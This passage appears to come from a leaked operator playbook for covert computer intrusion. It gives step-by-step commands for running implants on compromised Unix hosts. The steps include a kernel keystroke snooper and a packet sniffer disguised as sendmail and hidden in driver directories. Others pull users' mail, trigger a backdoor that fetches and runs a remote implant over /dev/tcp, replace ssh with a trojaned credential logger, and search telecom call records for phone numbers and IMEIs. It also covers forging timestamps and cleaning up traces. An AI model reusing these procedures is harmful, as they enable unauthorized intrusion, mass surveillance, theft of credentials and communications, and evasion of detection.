5844dd bs=1 count=34364 if=/dev/zero of=sum
5845-rm sum ml mi
5846
5847### nothing should have logged:
5848-tail /var/adm/messages
5849
5850##### NOPEN SUCTIONCHAR COMMANDS ########
5851[-suc]
5852Usage: -suc [get|<filename>] | [-s] <pid> [<pid>..] | blow | info | filter | free | unhook
5853
5854-suc info # shows if installed and bytes collected, max s and max c
5855-suc filter # set filters /current/etc/suctionchar.sample.conf
5856# locally to give pastable for -suc filter:
5857# make filter.conf file
5858
5859/current/bin/suctionchar.genconf /current/etc/suctionchar.sample.filter.conf
5860# paste filter in one at a time from genconf bottom output until all filters
5861# in; filter saved message appears
5862
5863-suc get # get data, decrypt, view
5864-suc blow # remove suctionchar
5865-suc -s pid [pid] # on the fly tracking of process to screen
5866-suc free # free memory of suctionchar data
5867-suc unhook # unhook any realtime process with -s to screen
5868
5869# on target: to authenticate must run yyserv on target and
5870# /current/etc/suctionchar.authenticate locally
5871# authenticate by hand, our opbox time must be set exactly to authenticate
5872cp /bin/cat yyserv
5873-shell
5874echo $$ # notice pid
5875./yyserv # <ctrl><c> to exit
5876# 1 -- copy magic string from local authenticate window
5877# 3 -- copy first response from local authenticate window
5878# 5 -- copy second response from local authenticate window
5879info
5880OK
5881info
5882
5883exit
5884
5885# locally
5886cd /current/bin
5887./suctionchar.authenticate
5888# 2 -- place PID from echo $$ on target (-shell)
5889# 4 -- challenge= copy from yyserv output string inbetween first response string
5890
5891
5892# yyserv commands
5893# info - stats on collected sessions
5894info
5895# filt - reprogramming the filter rules it is running; intended to only be
5896# used with commands generated by genconf
5897filter
5898# copy filters one by one based on local genconf output
5899# file - writes out collected data to disk; file name in double quotes
5900# ex: "/tmp/filename"; should receive ERROR if wrong, WROTE to "/tmp/filename"
5901file "/tmp/.scsi/d
5902# in nopen window not running yyserv
5903-get /tmp/.scsi/d
5904-rm /tmp/.scsi/d
5905# locally
5906/current/etc/suctionchar.decrypt PATH/d outfile
5907# free - deallocates memory to store collected data; should always get OK
5908free
5909# hook - realtime snooping of existing processes
5910# ex: hook PID
5911# unho - unhooking any realtime hooked processes
5912# sets - set maximum bytes collected per session (MAX S =)
5913# setc - set maximum total bytes, across all collected sessions, used to
5914# store data in memory (MAX C =)
5915# unpa - unpatch itself from the kernel
5916# exit - send kill to yyserv
5917
5918# when finished using yyserv manually, make sure cleaned up properly
5919ps -ef | grep yyserv
5920
5921-lt
5922-rm yyserv
5923-cd /tmp
5924-rm /tmp/.scsi
5925
5926
5927######################################################
5928# STRIFEWORLD
5929######################################################
5930
5931###
5932### IMPORTANT: make note of PID,PPID that strifeworld reports when you start it and save it in opnotes
5933###
5934
5935### man page:
5936cd /current/etc
5937nroff -man strifeworld.1
5938
5939
5940############ Start STRIFEWORLD #####################
5941
5942### upload strifeworld as sendmail (or something else that might blend in)
5943
5944-put /current/up/strifeworld sendmail
5945
5946
5947
5948### Sniffing syntax:
5949
5950#PATH=. E="port 23 and host (210.56.16.1 or 210.56.4.1)" C="-o/tmp/.nfs7254 -n. -ihme0 -a3000 -b10000 -x100" sendmail
5951#PATH=. E="port 23" C="-o/tmp/.nfs7254 -n. -ihme0 -a3000 -b10000 -x100" sendmail
5952
5953
5954
5955### Task mail:
5956
5957#PATH=. E="port 25" C="-o/tmp/DIR -f(user1 user2) -ihme0 -a3000 -b100000 -j10000000" sendmail
5958#PATH=. E="port 25" C="-o/tmp/DIR -f([^a-zA-Z0-9_-](user1|user2|user3)@) -ihme0 -a3000 -b100000 -j10000000" sendmail
5959#PATH=. E="port 25" C="-o/platform/SUNW,SystemEngine/kernel/drv/scsi -f([^a-zA-Z0-9_-](user1|user2|user3)@) -ihme0 -a3000 -b100000 -j10000000 -x100 -l" sendmail
5960
5961
5962### Dump to hidden directory:
5963
5964### to hide on a sparc system
5965-lt platform/SUNW,SystemEngine/kernel/drv
5966PATH=. E="port 23" C="-m -o/platform/SUNW,SystemEngine/kernel/drv/.scsi -n. -i iprb0 -a3000 -b10000 -x100 -l" sendmail
5967
5968### to hide file on an x86 system
5969-lt /platform/dvri86pc/kernel/drv
5970PATH=. E="port 23" C="-m -o/platform/dvri86pc/kernel/drv/.scsi -n. -i iprb0 -a3000 -b10000 -x100 -l" sendmail
5971
5972
5973
5974
5975### make note of PID,PPID it echos back and document the command used to start it
5976
5977
5978
5979### verify it's running and hidden:
5980
5981ps -ef | grep PID
5982cd /dev; ps -ef |grep " sendmail"
5983
5984 # or
5985
5986echo "p\nq\n"|crash|grep sendmail # Should see sendmail with <PID>.
5987echo "p\nq\n"|crash|grep PID # Should see sendmail with <PID>.
5988
5989
5990
5991############ Dump STRIFEWORLD #####################
5992
5993### first, change local dir to either mailpull or sniffer:
5994
5995-lcd /current/down/sniffer/TARGET_NAME.TARGET_IP
5996-lcd /current/down/mailpull/TARGET_NAME.TARGET_IP
5997
5998
5999
6000### dump via built-in:
6001
6002=swkill
6003
6004
6005
6006
6007### dump by hand:
6008
6009### figure out sw PID and replace it in line below:
6010
6011#A=PID export A; kill -USR1 $A; sleep 1;kill -USR2 $A;sleep 1; kill -USR1 $A;sleep 1;kill -USR2 $A
6012
6013-ls -t /tmp
6014-get -l /tmp/file1 /tmp/file2
6015-rm /tmp/file1 /tmp/file2
6016-ls -t /tmp
6017
6018### or if in a hidden directory (filename usually 'scsi'):
6019
6020-ls /platform/SUNW,SystemEngine/kernel/drv/scsi
6021-ls /platform/dvri86pc/kernel/drv/scsi
6022-get -l FILENAME
6023cat /dev/null > FILENAME
6024-lt /platform/SUNW,SystemEngine/kernel/drv
6025-lt /platform/dvri86pc/kernel/drv
6026
6027
6028
6029
6030######### To grep headers from strifeworld mail collection: ##############
6031
6032wc -l /tmp/file1 /tmp/file2
6033
6034### while on target:
6035
6036#P0=[12]?[0-5]?[0-9]+\\. ; P1=[0-9]+ ; P2=$P0$P0$P0$P0$P1 ; egrep -ni "($P2-$P2|^To:|^From:|^Subject:|filename=)" /tmp/.nfs6218
6037
6038### when done locally:
6039
6040#P0=[12]?[0-5]?[0-9]+\\. ; P1=[0-9]+ ; P2=$P0$P0$P0$P0$P1 ; egrep -ni "($P2-$P2|^To:|^From:|^Subject:|filename=)" /current/down/mailpull/TARGET_NAME.TARGET_IP
6041
6042
6043
6044
6045############# MAILGRAB ##############################
6046### Multiple mail pulls
6047
6048
6049-lcd /current/down/mailpull/TARGET_NAME.TARGET_IP
6050
6051##### or use -chili
6052#
6053-chili -s 1 -l mm-dd-yyyy /var/mail USER1
6054
6055## after down, check size locally
6056cd /current/down/mailpull/TARGET_NAME.TARGET_IP
6057
6058
6059# look at SA mail
6060
6061-tail /var/adm/sulog
6062
6063-ls /var/mail/USER
6064
6065grep -n -i "^Subject: " /var/mail/USER
6066
6067
6068### Generic stuff
6069
6070### SUBJECT/DATE/FROM/TO/E-MAIL ATTACHMENTS Normal...
6071#cd /var/mail; egrep '(^Subject:|^Date:|^From:|^To:|name=)' *
6072
6073
6074############### Get ready to cleanup ###################################
6075
6076### redo path with WORKINGDIR
6077-setenv PATH=/tmp/WORK_DIR:/bin:/usr/bin:/sbin:/usr/sbin:/etc:/usr/etc:/usr/ucb
6078
6079
6080############- ZAP OUR AT JOB
6081
6082at -l
6083at -r ### ; at -l
6084
6085
6086############ HEALTH CHECK #########################
6087
6088### Run the following before pcleaning to baseline system health prior
6089### to end of op
6090
6091w; date; last -80
6092/sbin/ps -elf; swap -l; uptime
6093ps -ef |grep " sendmail"
6094-pid
6095df -k
6096-ls -t /
6097-tail -50 /var/adm/messages
6098-ls -t /var/log /var/cron /var/adm
6099
6100
6101####
6102### Clean up and Bail
6103####
6104
6105### Remove working dir, reset timestamp, rm touchfile, verify /usr and /tmp
6106### then
6107-cd /tmp
6108-rm /tmp/WORK_DIR
6109YES
6110
6111-ls /tmp
6112
6113
6114####
6115## Kill off all remote nopen server processes...
6116####
6117
6118-burn
6119BURN
6120
6121#### Try reconnecting to make sure noserver died
6122
6123
6124###### End of user.mission; You're done!!!! ########################
6125###
6126### END USER.MISSION File user.mission.generic.COMMON
6127### (see also ../etc/user.mission.generic.COMMON)
6128
6129###
6130### BEGIN File user.tool.pork.COMMON (see also ../etc/user.tool.pork.COMMON)
6131###
6132
6133##### Triggering PORK #####
6134
6135### Need 4 scripted windows
6136### Window 1: local, run pork client
6137### Window 2: nopen tunnel window on redirector
6138### Window 3: window to establish Nopen connection on redirector
6139### Window 4: packrat window
6140
6141### Search/Replace stuff
6142### TARG_IP: box that has pork installed
6143### TARG_PORT: pork'ed port
6144### REDIR_IP: box hitting TARG_IP
6145### NETCAT_PORT: port to upload nopen
6146### NOPEN_PORT: port to start nopen on
6147### SPECIAL_SOURCE_PORT: source port of connection to pork
6148### (source port must be one of: 3, 51, 3854, 5671, 8213, 12634, 16798,
6149 23247, 35139, 47923, 53246, 63201)
6150### TEMP_DIR: temp directory
6151### TIME_ADJ: time diff between local GMT and targ GMT (use 0 if no diff)
6152### (must be within 12 hrs)
6153
6154mx
6155:%s/TARG_IP/TARG_IP/g
6156:%s/TARG_PORT/TARG_PORT/g
6157:%s/REDIR_IP/REDIR_IP/g
6158:%s/NETCAT_PORT/NETCAT_PORT/g
6159:%s/NOPEN_PORT/NOPEN_PORT/g
6160:%s/SPECIAL_SOURCE_PORT/SPECIAL_SOURCE_PORT/g
6161:%s/TEMP_DIR/TEMP_DIR/g
6162:%s/RAT_REMOTE_NAME/RAT_REMOTE_NAME/g
6163:%s/TIME_ADJ/TIME_ADJ/g
6164'x
6165
6166
6167### Window 2: Set up tunnel to talk to pork
6168-tunnel
6169r NETCAT_PORT
6170
6171# If pork'ed service is TCP
6172l TARG_PORT TARG_IP TARG_PORT SPECIAL_SOURCE_PORT
6173
6174# If pork'ed service is UDP
6175u TARG_PORT TARG_IP TARG_PORT SPECIAL_SOURCE_PORT
6176
6177
6178### Window 3: If need nopen to call back, set this up
6179-nrtun NOPEN_PORT
6180
6181
6182### Window 4: use packrat to prep Nopen
6183### Change the Nopen to upload if necessary
6184cd /current/up
6185packrat -z RAT_REMOTE_NAME morerats/noserver-3.0.3.1-i586-pc-linux-gnu NETCAT_PORT
6186
6187
6188### Window 1: Trigger pork
6189### Many ways this command may need to be adjusted to do callback, execute rat,
6190### etc., so all possibilities not outlined below
6191
6192cd /current/bin
6193
6194# If TCP
6195./client -t TIME_ADJ SPECIAL_SOURCE_PORT 127.0.0.1 TARG_PORT "cd /tmp; mkdir TEMP_DIR; cd TEMP_DIR; cat < /dev/tcp/REDIR_IP/REDIR_PORT > RAT_REMOTE_NAME.uu; uudecode RAT_REMOTE_NAME.uu; chmod 700 RAT_REMOTE_NAME; PATH=. S=1 D=-cREDIR_IP:NOPEN_PORT RAT_REMOTE_NAME"
6196
6197# If UDP
6198./client -u TIME_ADJ SPECIAL_SOURCE_PORT 127.0.0.1 TARG_PORT "cd /tmp; mkdir TEMP_DIR; cd TEMP_DIR; cat < /dev/tcp/REDIR_IP/REDIR_PORT > RAT_REMOTE_NAME.uu; uudecode RAT_REMOTE_NAME.uu; chmod 700 RAT_REMOTE_NAME; PATH=. S=1 D=-cREDIR_IP:NOPEN_PORT RAT_REMOTE_NAME"
6199
6200
6201### Window 3: Should see Nopen connection if set up to callback
6202### If set up to listen, use this line
6203-nstun TARG_IP NOPEN_PORT
6204
6205
6206### Should be able to handle it from here...
6207
6208
6209###
6210### END File user.tool.pork.COMMON
6211### (see also ../etc/user.tool.pork.COMMON)
6212
6213###
6214### BEGIN File user.tool.cursehydrant.COMMON (see also ../etc/user.tool.cursehydrant.COMMON)
6215###
6216
6217################ CURSEHYDRANT #########################
6218############### PARSING ###################################################################
6219
6220### vi Search/Replace commands ###
6221### ProjectName - self explanatory
6222### Date field - today's date, used for output files
6223### Host - hostname of the box (not IP address)
6224### Cryptkey - encryption key (use output from below md5sum command)
6225
6226md5sum /current/down/tcpdump.raw
6227
6228mx
6229:%s/PROJECTNAME/PROJECTNAME/g
6230:%s/DDMonYY/DDMonYY/g
6231:%s/HOST/HOST/g
6232:%s/CRYPTKEY/CRYPTKEY/g
6233'x
6234
6235### Save the encryption key locally:
6236
6237echo CRYPTKEY > /current/down/cryptkey.cursehydrant.DDMonYY
6238
6239####### Prepare files containing numbers to search for:
6240
6241# if files containing the numbers to search available:
6242mkdir /current/down/argfiles
6243cd /current/down/argfiles
6244mz
6245cp /mnt/zip*/arg* /current/down/argfiles
6246 #or
6247cp /mnt/zip*/PROJECTNAME/arg* /current/down/argfiles
6248
6249ls -altr
6250
6251
6252### Prep the argfiles:
6253### make sure the files are ASCII and contain NO EMPTY LINES!!
6254### make sure the last line does not contain a null character at the end
6255### (vi the file, add a carriage return to the last line, then delete the empty
6256### line and save)
6257### "file" results:
6258### This will not work: ASCII text, with CRLF line terminators
6259### This WILL: ASCII text
6260cat arg*
6261file arg*
6262dos2unix arg*
6263file arg*
6264
6265# if no data media is provided:
6266# locally, create a file of numbers to grep for with each number on a separate line
6267# make sure there are NO EMPTY LINES!!!!
6268# Format of each type of argument:
6269# p123456789 - phone number
6270# s123456789 - IMSI
6271# e123456789 - IMEI
6272# c123/456 - Cell/LAC (no leading 0's)
6273
6274cd /current/down/argfiles
6275vi /current/down/argfiles/argfile1.txt
6276
6277
6278
6279########## To look at CDR directories try the following:
6280
6281### Use the following commands to determine the location of current
6282### CDR data storage; Once you identify the location of the data, you'll
6283### use the head/tail commands to determine the date ranges being saved.
6284### These date ranges will be used as args in the cursehydrant commands.
6285
6286### Typical file locations per host:
6287
6288### Just check to see if files been removed
6289-lt /root
6290-vget /root/.sh_history
6291
6292########################## liquidsteel:
6293### fc: 192.168.100.10
6294ls /share/a1338/ne_q3ic/nb/convert/output | wc -l
6295ls /share/a1338/ne_q3ic/nb/convert/output | head -10
6296ls /share/a1338/ne_q3ic/nb/convert/output | tail -10
6297-ls /share/a1338/ne_q3ic/nb/convert/output/*dF*
6298
6299########################## sicklestar:
6300### about two weeks worth are kept in this directory:
6301### CDRCOL1: 10.211.4.1
6302### CDRCOL2: (if not on CDRCOL1) 10.211.4.2
6303ls /share/a1338/ne_q3ic/nb/convert/output | wc -l
6304ls /share/a1338/ne_q3ic/nb/convert/output | head -10
6305ls /share/a1338/ne_q3ic/nb/convert/output | tail -10
6306-ls /share/a1338/ne_q3ic/nb/convert/output/*dF*
6307
6308### this is where they are backed up - this could be huge
6309ls /share/a1338/ne_q3ic/nb/convert/backup | head -10
6310ls /share/a1338/ne_q3ic/nb/convert/backup | tail -10
6311ls /share/a1338/ne_q3ic/nb/convert/backup/TODO | head -10
6312ls /share/a1338/ne_q3ic/nb/convert/backup/TODO | tail -10
6313ls /share/a1338/ne_q3ic/nb/convert/backup/ahmad | head -10
6314ls /share/a1338/ne_q3ic/nb/convert/backup/ahmad1 | head -10
6315ls /share/a1338/ne_q3ic/nb/convert/backup/ahmad/sulaman | wc -l
6316
6317########################## CURSEHYDRANT ######################################################
6318###############################################################################################
6319
6320### Now, encrypt the ascii list...first make sure you have the encryption tool:
6321which cryptTool.v1.0.Linux2.4.18-14.targetdl
6322
6323### If cryptTool not in PATH, change your PATH or insert full path in command
6324
6325### to encrypt one at a time...skip to next comment to encrypt all at once:
6326cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile1.txt -o argfile1.enc -k CRYPTKEY -b
6327cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile2.txt -o argfile2.enc -k CRYPTKEY -b
6328
6329file argfile*.enc
6330
6331### to encrypt all at the same time:
6332for i in argfile* ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i .txt`.enc -k CRYPTKEY -b ; done
6333
6334ls -l
6335file argfile*.enc
6336
6337### Tips for running the CURSEHYDRANT 4.2.1
6338
6339### DO NOT _APPEND_ to the local file if using encryption - (no >>L: or >>T: )!!!!
6340### per each argfile, create .enc1, .enc1.more, .enc1.more2, etc if additional
6341### passes are needed for the date range
6342### DO NOT use -o if also using >L: or >T: (mixed output corrupts the decryption)
6343### By default, the new CH expects a cryptokey:
6344### to run in the clear, take out the -k KEY, add -w, replace -P with -p
6345### The phone list is deleted automatically now
6346
6347
6348### Suggested -z options:
6349### this looks in subdirs, so use caution in backup dir (can be good AND bad):
6350### Also circumvents "parameter list too long" problem with wildcards with 'ls'
6351 -z "find /share/a1338/ne_q3ic/nb/convert/output -name '0506132*dF*' -print"
6352
6353### works, but only for smaller ranges (command line arglist gets long)
6354 -z "ls -1rt /share/a1338/ne_q3ic/nb/convert/output/05110[3-6]*dF*"
6355
6356##### NOTE: MUST CORRELATE NUMBERS IN ENCRYPTED TASKING FILENAMES (i.e. argfile1.enc)
6357##### TO OUTPUT FILENAMES (cdrhits*.enc1, cdrhits*.enc1.more, cdrhits*.enc1.more2, etc.)
6358
6359##### NOTE2: GO FROM MOST RECENT TIME TO (PROBABLY CURRENT DATE) AS FAR BACK AS TIME ALLOWS
6360
6361######## Upload the parser (CURSEHYDRANT) and called it lvmkd
6362# put up the parser tool
6363-put /current/up/cursehydrant.v4.2.1.HP-UXB.11.00.targetsl lvmkd
6364
6365 # or
6366
6367-put /mnt/zip/cursehydrant.v4.2.1.HP-UXB.11.00.targetsl lvmkd
6368
6369##### Upload the encrypted phone list as nfskd, then run the parser:
6370
6371############ argfile 1
6372
6373-put /current/down/argfiles/argfile1.enc nfskd
6374export ENV_ARGS='-d -k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06071[3456]*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.cursehydrant.HOST.DDMonYY.enc1
6375-beep 15
6376
6377
6378### Run again if needed for same tasking
6379-put /current/down/argfiles/argfile1.enc nfskd
6380export ENV_ARGS='-d -k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06071[012]*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.cursehydrant.HOST.DDMonYY.enc1.more
6381-beep 15
6382
6383############ argfile 2
6384
6385-put /current/down/argfiles/argfile2.enc nfskd
6386export ENV_ARGS='-d -k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06070[89]*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.cursehydrant.HOST.DDMonYY.enc2
6387-beep 15
6388
6389
6390### Run again if needed for same tasking
6391-put /current/down/argfiles/argfile2.enc nfskd
6392export ENV_ARGS='-d -k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06070[67]*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.cursehydrant.HOST.DDMonYY.enc2.more
6393-beep 15
6394
6395############ argfile 3
6396
6397-put /current/down/argfiles/argfile3.enc nfskd
6398export ENV_ARGS='-d -k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06070[345]*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.cursehydrant.HOST.DDMonYY.enc3
6399-beep 15
6400
6401### Run again if needed for same tasking
6402-put /current/down/argfiles/argfile3.enc nfskd
6403export ENV_ARGS='-d -k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06070[012]*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.cursehydrant.HOST.DDMonYY.enc3.more
6404#-beep 15
6405
6406######
6407###### to run parser in the clear (unencrypted):
6408######
6409
6410#-put /current/down/argfiles/argfile1.txt nfskd
6411#export ENV_ARGS='-w -z "find /share/a1338/ne_q3ic/nb/convert/output -name '060501*dF*' -print" -p ./nfskd'; ./lvmkd >T:/current/down/cdrhits.test
6412#-beep 15
6413
6414######
6415###### to completely parse a range of files (no encryption & no particular number to search):
6416######
6417#export ENV_ARGS='-o -w -d -z "ls -1rt /share/a1338/ne_q3ic/nb/convert/output/06051[1-2]*dF*"; ./lvmkd >T:/current/down/cdr.morenumbers
6418
6419
6420######
6421###### survey mode:
6422######
6423
6424### checks for IMEIs that have more than one IMSI associated with it:
6425### to limit amount of memory used, replace "-x" with "-X numberBytes"
6426export ENV_ARGS='-x -k CRYPTKEY -z "ls -1rt /share/a1338/ne_q3ic/nb/convert/output/06051[1-2]*dF*"'; ./lvmkd >T:/current/down/cdrhits.cursehydrant.HOST.DDMonYY.enc.surveyIMEI
6427
6428
6429### generates a list of Cell IDs associated with each MSC address:
6430### to limit amount of memory used, replace "-y" with "-Y numberBytes"
6431export ENV_ARGS='-y -k CRYPTKEY -z "ls -1rt /share/a1338/ne_q3ic/nb/convert/output/06051[1-2]*dF*"'; ./lvmkd >T:/current/down/cdrhits.cursehydrant.HOST.DDMonYY.enc.surveyMSC
6432
6433
6434######
6435##### when it's done running, decrypt the file (-d -c options)
6436######
6437
6438
6439cd /current/down
6440ls -latr cdr*enc*
6441
6442# to decrypt individually:
6443cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.cursehydrant.HOST.DDMonYY.enc1 -o cdrhits.cursehydrant.HOST.DDMonYY.txt1 -k CRYPTKEY -d -c
6444cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.cursehydrant.HOST.DDMonYY.enc2 -o cdrhits.cursehydrant.HOST.DDMonYY.txt2 -k CRYPTKEY -d -c
6445
6446
6447# or decrypt all at one time (once all are written fully)
6448cd /current/down
6449for i in cdrhits*enc* ; do n="`echo $i | sed \"s,enc,txt,g\"`" ; cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o $n -k CRYPTKEY -d -c ; done
6450ls -latr cdr*txt*
6451
6452######
6453###### If you need to stop the parser before it completes:
6454### Control-C the nopen window containing the parser command
6455### ps -ef |grep lvmkd
6456### if the parser command is still "running", then kill the process:
6457### kill -9 <PID>
6458### You'll still be able to decrypt the partially completed data pull
6459
6460######
6461###### copy DECRYPTED data to media
6462######
6463ls -l cdr*txt*
6464mz
6465cp cdr*txt* /mnt/zip*/PROJECTNAME
6466ls -l /mnt/zip*/PROJECTNAME
6467uz
6468
6469
6470#####
6471##### clean up
6472#####
6473####### HP-UX (DO NOT BURN! DO NOT BURN! DO NOT BURN!)
6474-gs wearcup
6475
6476####### Everything else...
6477-rm lvmkd nfskd
6478-lt
6479-cd /tmp
6480-rm .scsi
6481-lt
6482
6483w
6484ps -ef | sort
6485-lt /
6486
6487##### Either -burn off or if the target is HPUX, use -exit and let -wearcup do the cleanup
6488
6489###
6490### END File user.tool.cursehydrant.COMMON
6491### (see also ../etc/user.tool.cursehydrant.COMMON)
6492
6493###
6494### BEGIN File user.tool.dubmoat.COMMON (see also ../etc/user.tool.dubmoat.COMMON)
6495###
6496
6497##########################################
6498# DUBMOAT
6499##########################################
6500
6501### Verify version on target:
6502uname -a
6503which ssh
6504ssh -V
6505
6506### Preserve timestamps:
6507-ls -i /usr/bin/ssh
6508-ls -d /usr/bin
6509
6510touch -r /usr/bin/ssh /tmp/.st
6511touch -r /usr/bin /tmp/.sb
6512-lt
6513
6514### Create location (utmp~) for dubmoat logging:
6515-ls -t /var/run
6516cp /var/run/utmp /var/run/utmp~
6517
6518### fix permisssions so any user can write to the file:
6519chmod 666 /var/run/utmp~
6520
6521### Download original ssh:
6522-get /usr/bin/ssh
6523
6524### Upload dubmoat and check the version:
6525-put /current/up/Ssh ssh
6526./ssh -V
6527
6528### Cat our version over original to preserve inode:
6529cat /tmp/ssh > /usr/bin/ssh
6530-ls -i /usr/bin/ssh
6531
6532/usr/bin/ssh -V
6533file /usr/bin/ssh
6534
6535
6536### Fix timestamps:
6537
6538touch -r /var/run/utmp /var/run/utmp~
6539touch -r /var/run/utmp /var/run
6540
6541touch -r /tmp/.st /usr/bin/ssh
6542touch -r /tmp/.sb /usr/bin
6543
6544-ls -i /usr/bin/ssh
6545-ls -d /usr/bin/.
6546
6547### Cleanup:
6548
6549-rm .st .sb ssh
6550
6551
6552
6553
6554
6555
6556############################
6557# DUBMOAT COLLECTION
6558############################
6559
6560-ls /var/adm/utmp*
6561
6562-get -l /var/adm/utmp~
6563
6564
6565### Locally, extract the data from the encrypted file:
6566
6567cd /current/down
6568/current/bin/ExtractData ./utmp > dub.TARGETNAME
6569
6570### Verify the contents and take note of the file size field near
6571### the beginning of the output. Use that size to truncate the file
6572### in the next step:
6573
6574cat dub.TARGETNAME
6575
6576
6577### Upload the tool used to truncate the dubmoat collection file
6578
6579
6580-put /current/bin/TruncateFileRemote dmt
6581chmod 700 dmt
6582
6583
6584### Using the first "FILE SIZE" field from the output above,
6585### truncate the most recent collection out of the file
6586-lt /var/adm/utmp~
6587./dmt /var/adm/utmp~ <FILESIZE>
6588-lt /var/adm/utmp~
6589
6590-rm dmt
6591
6592
6593
6594
6595###
6596### END File user.tool.dubmoat.COMMON
6597### (see also ../etc/user.tool.dubmoat.COMMON)
6598
6599###
6600### BEGIN File user.tool.cursehappy.COMMON (see also ../etc/user.tool.cursehappy.COMMON)
6601###
6602
6603################ CURSEHAPPY #########################
6604############### PARSING ###################################################################
6605
6606### vi Search/Replace commands ###
6607### ProjectName - self explanatory
6608### Date field - today's date, used for output files
6609### Rec type - record type correlates with ProjectName, valid values: eh, ls, ss, wb
6610### Host - hostname of the box (not IP address)
6611### Cryptkey - encryption key (use output from below md5sum command)
6612
6613md5sum /current/down/tcpdump.raw
6614
6615mx
6616:%s/PROJECTNAME/PROJECTNAME/g
6617:%s/DDMonYY/DDMonYY/g
6618:%s/HOST/HOST/g
6619:%s/CRYPTKEY/CRYPTKEY/g
6620'x
6621
6622### Save the encryption key locally:
6623
6624echo CRYPTKEY > /current/down/cryptkey.cursehappy.DDMonYY
6625
6626####### Prepare files containing numbers to search for:
6627
6628# if files containing the numbers to search available:
6629mkdir /current/down/argfiles
6630cd /current/down/argfiles
6631mz
6632cp /mnt/zip*/arg* /current/down/argfiles
6633 #or
6634cp /mnt/zip*/PROJECTNAME/arg* /current/down/argfiles
6635
6636ls -altr
6637
6638
6639### Prep the argfiles:
6640### make sure the files are ASCII and contain NO EMPTY LINES!!
6641### make sure the last line does not contain a null character at the end
6642### (vi the file, add a carriage return to the last line, then delete the empty
6643### line and save)
6644### "file" results:
6645### This will not work: ASCII text, with CRLF line terminators
6646### This WILL: ASCII text
6647cat arg*
6648file arg*
6649dos2unix arg*
6650file arg*
6651
6652# if no data media is provided:
6653# locally, create a file of numbers to grep for with each number on a separate line
6654# make sure there are NO EMPTY LINES!!!!
6655# Format of each type of argument:
6656# p123456789 - phone number
6657# s123456789 - IMSI
6658# e123456789 - IMEI
6659# c123/456 - Cell/LAC (no leading 0's)
6660
6661cd /current/down/argfiles
6662vi /current/down/argfiles/argfile1.txt
6663
6664
6665
6666########## To look at CDR directories try the following:
6667
6668### Use the following commands to determine the location of current
6669### CDR data storage; Once you identify the location of the data, you'll
6670### use the head/tail commands to determine the date ranges being saved.
6671### These date ranges will be used as args in the cursehappy commands.
6672
6673### Typical file locations per host:
6674
6675########################## wholeblue:
6676# tpmw01 10.3.4.55
6677# tpmw02 10.3.4.56
6678
6679### verifies isb, khi, and lhr directories:
6680ls -ld /tp/med/datastore/collect/siemens_msc_*
6681ls -ld /tp/med/datastore/collect/siemens_msc_*/.tmp_ncr
6682ls -ld /tp/med/archive/collect/siemens_msc_*
6683ls -ld /tp/med/archive/collect/siemens_msc_*/.tmp_ncr
6684
6685### shows oldest and newest files in directories:
6686ls -latr /tp/med/datastore/collect/*isb*/*.MSC | head -10
6687ls -latr /tp/med/datastore/collect/*isb*/*.MSC | tail -10
6688ls -latr /tp/med/datastore/collect/*khi*/*.MSC | head -10
6689ls -latr /tp/med/datastore/collect/*khi*/*.MSC | tail -10
6690ls -latr /tp/med/datastore/collect/*lhr*/*.MSC | head -10
6691ls -latr /tp/med/datastore/collect/*lhr*/*.MSC | tail -10
6692
6693ls -latr /tp/med/datastore/collect/*isb*/.tmp_ncr/*.MSC | head -10
6694ls -latr /tp/med/datastore/collect/*isb*/.tmp_ncr/*.MSC | tail -10
6695ls -latr /tp/med/datastore/collect/*khi*/.tmp_ncr/*.MSC | head -10
6696ls -latr /tp/med/datastore/collect/*khi*/.tmp_ncr/*.MSC | tail -10
6697ls -latr /tp/med/datastore/collect/*lhr*/.tmp_ncr/*.MSC | head -10
6698ls -latr /tp/med/datastore/collect/*lhr*/.tmp_ncr/*.MSC | tail -10
6699
6700ls -latr /tp/med/archive/collect/siemens_msc_isb01/*.MSC | head -10
6701ls -latr /tp/med/archive/collect/siemens_msc_isb01/*.MSC | tail -10
6702ls -latr /tp/med/archive/collect/siemens_msc_khi01/*.MSC | head -10
6703ls -latr /tp/med/archive/collect/siemens_msc_khi01/*.MSC | tail -10
6704ls -latr /tp/med/archive/collect/siemens_msc_lhr01/*.MSC | head -10
6705ls -latr /tp/med/archive/collect/siemens_msc_lhr01/*.MSC | tail -10
6706
6707ls -latr /tp/med/archive/collect/siemens_msc_isb01/.tmp_ncr/*.MSC | head -10
6708ls -latr /tp/med/archive/collect/siemens_msc_isb01/.tmp_ncr/*.MSC | tail -10
6709ls -latr /tp/med/archive/collect/siemens_msc_khi01/.tmp_ncr/*.MSC | head -10
6710ls -latr /tp/med/archive/collect/siemens_msc_khi01/.tmp_ncr/*.MSC | tail -10
6711ls -latr /tp/med/archive/collect/siemens_msc_lhr01/.tmp_ncr/*.MSC | head -10
6712ls -latr /tp/med/archive/collect/siemens_msc_lhr01/.tmp_ncr/*.MSC | tail -10
6713
6714
6715# isbapro1 10.5.7.51
6716# nothing new
6717-lt /u01/product_evdp/evident/data_store/collect
6718ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc | head -10
6719ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc | tail -10
6720ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_khi01 | head -10
6721ls -latr /u01/product_evdp/evident/data_store/collect/siemens_msc_khi01 | tail -10
